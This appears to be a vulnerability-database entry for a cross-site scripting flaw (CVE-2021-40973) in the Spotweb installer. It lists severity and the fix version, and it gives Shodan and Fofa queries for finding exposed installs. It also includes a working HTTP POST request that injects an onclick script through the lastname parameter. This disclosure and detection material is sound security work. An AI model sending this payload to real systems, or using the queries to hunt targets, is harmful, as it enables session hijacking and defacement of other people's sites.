| Title | Spotweb <= 1.5.1 - Cross Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Fixed in version 1.5.2 |
| CVSS Score | 6.1 |
| EPSS Score | 0.01286 |
| CVE ID | CVE-2021-40973 |
| CWE ID | CWE-79 |
| Shodan Query | title:"SpotWeb - overview"http.title:"spotweb - overview" |
| Fofa Query | title="spotweb - overview" |
| Tags | cve2021 cve xss spotweb spotweb_project vuln |
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter.
POST /install.php?page=4 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
settingsform[lastname]=pdteam'+onclick='alert(document.domain)
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40973.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40973.pcap
N/AN/A